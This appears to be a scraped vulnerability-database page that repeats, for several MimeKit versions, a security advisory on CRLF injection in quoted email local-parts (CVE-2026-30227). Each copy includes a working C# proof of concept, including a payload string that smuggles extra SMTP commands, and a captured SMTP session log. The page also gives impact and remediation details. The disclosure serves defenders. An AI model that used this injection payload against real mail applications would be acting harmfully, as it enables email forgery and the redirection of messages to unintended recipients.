            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Jan 18, 2020

2.4.1 patch

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Nov 10, 2019

2.4.0.1 patch

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


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            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Nov 05, 2019

Activity

Details